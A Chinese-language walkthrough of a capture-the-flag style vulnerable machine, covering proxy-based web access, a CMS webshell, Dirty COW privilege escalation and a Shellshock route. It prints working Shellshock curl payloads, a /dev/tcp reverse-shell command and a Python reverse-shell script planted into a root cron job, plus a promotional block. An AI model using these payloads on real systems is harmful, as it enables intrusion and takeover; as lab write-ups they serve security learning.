主機(jī)發(fā)現(xiàn)
arp-scan -l

目標(biāo)ip為192.168.1.12
端口掃描
nmap -sV -sC -T4 192.168.1.12 -p-
-sV:查看端口對(duì)應(yīng)服務(wù)
-sC:使用默認(rèn)腳本測(cè)試
-T4:快速測(cè)試
-p-:全端口掃描

掃描完成,看到3128端口,嘗試訪問(wèn)一下

在這里卡了很久,根據(jù)他的左下角版本信息搜了一下漏洞,還真有一個(gè)對(duì)應(yīng)版本的繞過(guò)訪問(wèn)限制,不過(guò)試了很久都沒(méi)成功,這里壓根沒(méi)想他的功能,實(shí)在過(guò)不去了,看了一下他的writeup才知道原來(lái)這個(gè)端口是http-proxy代理,要通過(guò)這個(gè)端口來(lái)訪問(wèn)他的web服務(wù)。
用proxyfox配一下代理


目錄爆破
再次訪問(wèn),發(fā)現(xiàn)正常顯示,不過(guò)頁(yè)面很簡(jiǎn)單,目錄爆破一下
dirb http://192.168.1.12 -p 192.168.1.12:3128
# -p 是指定代理

可以看到有個(gè)connect,可以直接下載是個(gè)py文件,內(nèi)容如下

其實(shí)他就是提權(quán)的關(guān)鍵,但是我沒(méi)用到,還是因?yàn)槟X子比較笨,感覺(jué)他有問(wèn)題但是沒(méi)找到方法
再訪問(wèn)一下robots.txt

看到這個(gè)就比較興奮了,訪問(wèn)一下
【→所有資源關(guān)注我,私信回復(fù)“資料”獲取←】
1、網(wǎng)絡(luò)安全學(xué)習(xí)路線
2、電子書(shū)籍(白帽子)
3、安全大廠內(nèi)部視頻
4、100份src文檔
5、常見(jiàn)安全面試題
6、ctf大賽經(jīng)典題目解析
7、全套工具包
8、應(yīng)急響應(yīng)筆記
cms漏洞getshell

這是個(gè)cms,之前還沒(méi)聽(tīng)說(shuō)過(guò),此處省略在這個(gè)頁(yè)面找漏洞的過(guò)程,找了個(gè)寂寞
使用searchsploit 找一下有沒(méi)有漏洞吧

還真有,憑借著敏銳的嗅覺(jué)(其實(shí)也因?yàn)樗诺谝粋€(gè)),我直接查看上圖紅框中的內(nèi)容

文件中寫(xiě)的很清楚了,我們直接訪問(wèn)這個(gè)鏈接看一下有沒(méi)有這個(gè)界面

有個(gè)登陸界面,到這里剩下的我感覺(jué)太順了
登陸界面直接,admin:admin登陸進(jìn)去
然后就是根據(jù)exploit中的創(chuàng)建文件然后訪問(wèn)執(zhí)行

shell.php就是我創(chuàng)建的文件,然后點(diǎn)擊該文件就能夠編輯
嘗試執(zhí)行以下系統(tǒng)命令看能不能成功
先向shell.php寫(xiě)入命令


成功執(zhí)行
然后就是寫(xiě)入一句話,蟻劍連接

注意蟻劍這里也要配置代理



權(quán)限提升
從蟻劍進(jìn)入終端,找一下有沒(méi)有suid提權(quán)或者sudo提權(quán)

好像都沒(méi)有,這里直接上傳一個(gè)linux-suggest文件,他能檢測(cè)該系統(tǒng)有什么漏洞可以利用
為了方便把他改名為s.sh,給他運(yùn)行權(quán)限并執(zhí)行
chmod 777 s.sh
./sh

執(zhí)行完畢后有很多漏洞,不過(guò)提權(quán)的只有一個(gè)臟牛
這里簡(jiǎn)單說(shuō)一下臟牛提權(quán)

那就上傳臟牛提權(quán)文件(通過(guò)蟻劍拖拽就能上傳),然后編譯執(zhí)行
gcc -pthread dirty.c -o exp3 -lcrypt
#編譯dirty.c文件并保存為exp3
./exp3 123
#執(zhí)行exp3后面跟的是更改后的密碼,該腳本默認(rèn)將原root用戶名字更改為firefart,所以一旦提權(quán)成功,直接su firefart 然后輸入剛剛更改的密碼就能切換到root用戶

執(zhí)行完這些命令后就可以看到/etc/passwd中的root用戶的信息已經(jīng)更改為firefart,后面就是我們剛剛更改的密碼123的加密值
這里發(fā)現(xiàn)無(wú)法通過(guò)su切換用戶,但可以通過(guò)ssh連接
不過(guò)這有一個(gè)問(wèn)題就是,提權(quán)完成后大約10秒左右靶機(jī)就會(huì)崩潰,但是我還是憑借著超高的手速查看到了。root目錄下的flag

這就是我的一個(gè)打靶過(guò)程,有點(diǎn)狗,感覺(jué)這不是作者規(guī)劃的解題思路(至少提權(quán)那里不是),畢竟提權(quán)完成后機(jī)器會(huì)很快崩潰,但是我不愿意再試了,然后就看了一下其他人的wp,發(fā)現(xiàn)是用我前面發(fā)現(xiàn)的那個(gè)connect.py提權(quán),而且getshell是通過(guò)shellshock(破殼)來(lái)實(shí)現(xiàn)的,這里復(fù)現(xiàn)一下大佬們的過(guò)程順便學(xué)習(xí)一下。
到配置http-proxy基本一樣,然后是使用nikto掃描網(wǎng)站
nikto -useproxy http://192.168.0.71:3128 -host http://192.168.0.71
#-userproxy 指定代理 這里是在公司復(fù)現(xiàn)的ip換了

這里檢測(cè)出/cgi-bin/status這里可能存在shellshock漏洞,這里簡(jiǎn)單了解一下這個(gè)漏洞。
漏洞原理
目前的bash使用的環(huán)境變量是通過(guò)函數(shù)名稱來(lái)調(diào)用的,導(dǎo)致漏洞出問(wèn)題是以“(){”開(kāi)頭定義的環(huán)境變量在命令ENV中解析成函數(shù)后,Bash執(zhí)行并未退出,而是繼續(xù)解析并執(zhí)行shell命令。核心的原因在于在輸入的過(guò)濾中沒(méi)有嚴(yán)格限制邊界,沒(méi)有做合法化的參數(shù)判斷。
使用curl 測(cè)試一下有無(wú)漏洞
curl --proxy 192.168.0.71:3128 -H 'x: () { :;};a= `/bin/id`;echo $a ' http://192.168.0.71/cgi-bin/status

沒(méi)有回顯id,不過(guò)返回了系統(tǒng)信息,嘗試一下反彈shell
先在本機(jī)開(kāi)啟監(jiān)聽(tīng)

然后執(zhí)行下面這條命令反彈shell
curl --proxy 192.168.0.71:3128 -H 'x: () { :;}; /bin/bash -i >& /dev/tcp/192.168.0.48/8888 0>&1 ' http://192.168.0.71/cgi-bin/status
反彈成功

因?yàn)閏onnect.py比較可疑,它的所有者是root,但是任何用戶都可以進(jìn)行讀寫(xiě)執(zhí)行

這里查看一下計(jì)劃任務(wù),linux計(jì)劃任務(wù)存放在/etc/cron*/文件中,
/etc/cron.hourly/ 目錄下存放的是系統(tǒng)每小時(shí)要做的任務(wù)可執(zhí)行腳本
/etc/cron.daily/ 目錄下存放的是系統(tǒng)每天要做的任務(wù)可執(zhí)行腳本
/etc/cron.weekly/ 目錄下存放的是系統(tǒng)每周要做的任務(wù)可執(zhí)行腳本
/etc/cron.monthly/ 目錄下存放的是系統(tǒng)每月要做的任務(wù)可執(zhí)行腳本
這些是可執(zhí)行腳本,不是cron配置文件,crond服務(wù)通過(guò)run-parts 工具調(diào)用執(zhí)行這些腳本
除了上面這幾個(gè)存放定時(shí)任務(wù)的腳本外還有一個(gè)重要的文件cron.d,他是我們解題的關(guān)鍵,它的作用如下
當(dāng)我們要增加全局性的計(jì)劃任務(wù)時(shí),一種方式是直接修改/etc/crontab。但是,一般不建議這樣做,/etc/cron.d目錄就是為了解決這種問(wèn)題而創(chuàng)建的。
例如,增加一項(xiàng)定時(shí)的備份任務(wù),我們可以這樣處理:在/etc/cron.d目錄下新建文件backup.sh,內(nèi)容如下:
# m h dom mon dow user command
* 1 * * * root /sbin/mon_zetc_logtar.sh
cron進(jìn)程執(zhí)行時(shí),就會(huì)自動(dòng)掃描該目錄下的所有文件,按照文件中的時(shí)間設(shè)定執(zhí)行后面的命令。
cron執(zhí)行時(shí),也就是要讀取三個(gè)地方的配置文件:一是/etc/crontab,二是/etc/cron.d目錄下的所有文件,三是每個(gè)用戶的配置文件
因此我們使用以下命令查看相關(guān)計(jì)劃任務(wù)
ls -al /etc/cron*
查看etc目錄下所有以cron開(kāi)頭的文件

最終在cron.d中的automate找到關(guān)于connect.py的信息

上圖方框中從左到右分別代表分,時(shí),日,月,周,這里五個(gè)星號(hào)表示每分鐘都會(huì)執(zhí)行。
因此我們可以得出這個(gè)connect.py每分鐘都會(huì)以root用戶執(zhí)行,而且我們可以以普通用戶的身份修改這個(gè)文件。這里就有好幾種方法查看flag文件了,可疑使用python os.system執(zhí)行命令反彈shell,也可以直接使用python反彈shell,也可以給root目錄增大權(quán)限所有用戶都可以訪問(wèn),甚至修改etc/passwd中用戶的權(quán)限,這里我們就用反彈shell的形式提權(quán)。
但是我這里沒(méi)辦法直接使用vim修改connect.py,這樣他會(huì)斷開(kāi),使用python的pty獲得相對(duì)穩(wěn)定的shell還是沒(méi)辦法使用vim編輯,我這里直接在我攻擊機(jī)上先寫(xiě)好代碼(shell.py),使用wget獲取下載到靶機(jī)。
python代碼如下
#!/bin/python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.15",8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
然后在攻擊機(jī)當(dāng)前路徑開(kāi)啟http服務(wù)

在靶機(jī)使用
wget獲取python腳本

使用cat命令將shell.py復(fù)制到connect.py中

然后斷開(kāi)連接,重新在攻擊機(jī)開(kāi)啟監(jiān)聽(tīng) 8888端口,等了半分鐘,成功反彈shell

查看flag

這個(gè)靶場(chǎng)到此結(jié)束!